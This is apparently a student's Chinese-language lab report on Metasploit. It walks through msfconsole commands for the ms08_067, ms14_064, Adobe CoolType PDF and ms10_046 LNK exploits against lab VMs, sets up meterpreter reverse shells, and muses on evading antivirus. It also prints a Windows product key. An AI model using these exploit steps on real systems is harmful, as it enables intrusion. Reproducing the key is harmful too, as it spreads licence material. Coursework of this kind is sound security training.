三、实验遇到的问题及解决方法
四、离实战还缺些什么技术或步骤
五、实验总结与体会
一、原理与实践说明
1.实践目标
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六个模块
-
渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
-
辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
-
攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
-
空字段模块Nop Modules
-
编码模块Encoders
-
后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息info
[exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2018年产生的在windows平台下的漏洞
search ms18(或CNE:2018) type:exploit platform:windows
- armitage
- 启动服务器
service postgresql start
- 启动
armitagearmitage
- webgui
4.MSF常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块
use exploit name
:使用漏洞
show options
:显示配置选项
set option name option
:设置选项
show payloads
:回链攻击载荷
show targets
: 显示目标(os版本)
set TARGET target number
:设置目标版本
exploit
:开始漏洞攻击
sessions -l
:列出会话
sessions -i id
:选择会话
sessions -k id
:结束会话
Ctrl+z
:把会话放到后台
Ctrl+c
:结束会话
show auxiliary
:显示辅助模块
use auxiliary name
:使用辅助模块
set option name option
:设置选项
exploit
:运行模块
2.实践内容概述
掌握metasploit的基本应用方式:
-
一个主动攻击实践,如ms08_067; (1分)
-
一个针对浏览器的攻击,如ms11_050;(1分)
-
一个针对客户端的攻击,如Adobe;(1分)
-
成功应用任何一个辅助模块。(0.5分)
3.基础问题回答
用自己的话解释什么是exploit,payload,encode.
-
exploit是攻击模块,就是是利用某些特定的漏洞,将攻击的具体执行步骤传到靶机上。
-
payload是攻击载荷,即渗透成功后帮助攻击者接下来进一步控制靶机所需要的东西。
-
encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,避免payload被杀软发现。
二、实践过程记录
任务一:主动攻击的实践
ms08_067_netapi:自动化漏洞溢出攻击
靶机:Windows Server 2003 Enterprise Edition with SP1 (English)
启动msfconsole查找漏洞search ms08-067
,可以看到该漏洞的渗透模块:
use exploit/windows/smb/ms08_067_netapi
选择该漏洞
使用show targets
查看targets,可以根据靶机的操作系统进行修改,也可以不修改,自动识别。
set RHOSTS 192.168.1.15
设置靶机IP
show payloads
查看可用payload
set payload generic/shell_bind_tcp
set LHOST 192.168.1.7 #设置监听者ip
set LPORT 5318 #设置监听者端口号
show options #查看设置信息
输入exploit
进行攻击
任务二:攻击浏览器的实践
1.ms14-064
用search ms14-064
查询一下针对该漏洞的攻击模块
use exploit/windows/browser/ms14_064_ole_code_execution
使用该模块:
用set payload windows/meterpreter/reverse_tcp
设置payload
show options
查看信息,并设置需要设置的参数。
exploit
攻击后会生成带有攻击性的URL,这里生成的URL为:http://192.168.1.7:8080/usCDYS
在winxp上用ie浏览器打开:
再回到kali 发现已经回连成功:
这样就攻击成功了
2.ms14_064
同样的方法,先在控制台输入search ms14_064
搜索对于该漏洞的攻击模块
输入use exploit/windows/browser/ms14_064_ole_code_execution
指令选择攻击模块
show payloads
显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp
选择攻击载荷
show options
查看配置信息
进行配置修改:
set SRVHOST 192.168.1.7 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 10.1.1.128
set LPORT 5318
使用exploit
进行攻击,这时会生成一个链接,把这个链接复制到WindowsXP里打开
这时候kali这里已经显示连接成功了
输入sessions -i 1
即可选择第一个会话,调用shell权限成功
任务三:攻击客户端的实践
1.Adobe
靶机:Windows XP
步骤:
- search adobe //查找Adobe漏洞
- use windows/fileformat/adobe_cooltype_sing //使用漏洞
- set payload windows/meterpreter/reverse_tcp //选择攻击载荷
- set LHOST 192.168.1.7 //攻击者地址
- set FILENAME 20175318.pdf //设置生成pdf文件的文件名
- exploit //攻击
将生成的文件复制之后导入靶机中,然后退出当前模块,进入监听模块:
- back //退出当前模块
- use exploit/multi/handler //进入监听模块
- set payload windows/meterpreter/reverse_tcp //选择攻击载荷
- set LHOST 192.168.1.7 //攻击者地址
- exploit //攻击
在靶机运行20175318.pdf
回到kali,发现已经成功了
2.ms10_046
靶机:Windows 7 + IE8
实验步骤:
search ms10-046
#看看其他的exploituse exploit/windows/smb/ms10_046_shortcut_icon_dllloader
#使用漏洞show payloads
#显示可用攻击载荷set peyloads windows/meterpreter/reverse_tcp
#选择攻击载荷show options
#查看配置信息set LHOST 192.168.1.7
#设置监听地址set SRVHOST 192.168.1.7
#设置本地收听地址set RHOSTS 192.168.1.8
#设置靶机地址exploit
#开始攻击
将/root/.msf4/local/msf.lnk
共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions 1
查看当前会话
任务四:成功应用任何一个辅助模块
在ms08_067中应用use auxiliary/scanner/portscan/tcp
搜索靶机开放端口
- search portscan # 搜索端口相关的漏洞
- use auxiliary/scanner/portscan/tcp # 使用漏洞
- show options #显示设置
- 设置参数,并进行扫描:
三、实验遇到的问题及解决方法
刚开始我是不知道这些漏洞对于操作系统版本以及语言的要求的,所以实验的时候遇到了困难。
最后在网上找到了Windows Server 2003 Enterprise Edition with SP1 (English)的镜像,而且找序列号还找了好久。。。。
百度网盘链接 提取码:qo0u
Firefox Send
序列号:JCGMJ-TC669-KCBG7-HB8X2-FXG7M
四、离实战还缺些什么技术或步骤
主要还是对信息的收集吧,比如要攻击的对象是什么操作系统,浏览器以及应用软件版本号,甚至操作系统的语言也可以成为被攻击的条件。
要想实施攻击,我们必须要对我们用的漏洞有清楚的了解,应在网上收集这方面的资料,其次,对目标进行信息收集,最后再根据已经得到的信息来设计攻击方案。
知己知彼,百战不殆。
四、实验总结与体会
这次动手实验让我对msf的攻击又有了新的认识,结合以前实验的内容,我知道了要进行攻击,应该先收集对方的信息,清楚它的操作系统,各种软件的版本号,语言等等;然后,我们可以通过生成后门文件,来对目标进行攻击,这里就用到了免杀方面的知识,想把后门文件悄无声息的放到目标机里不被发现,我们就要对其进行加壳等操作。比如这次实验,我生成的那个快捷方式,拷贝到主机,立刻就被检测到了。
所以,渗透攻击是一个综合的过程,我们在进行攻击前应该考虑周到,尽最大可能不被发现而且拿到权限。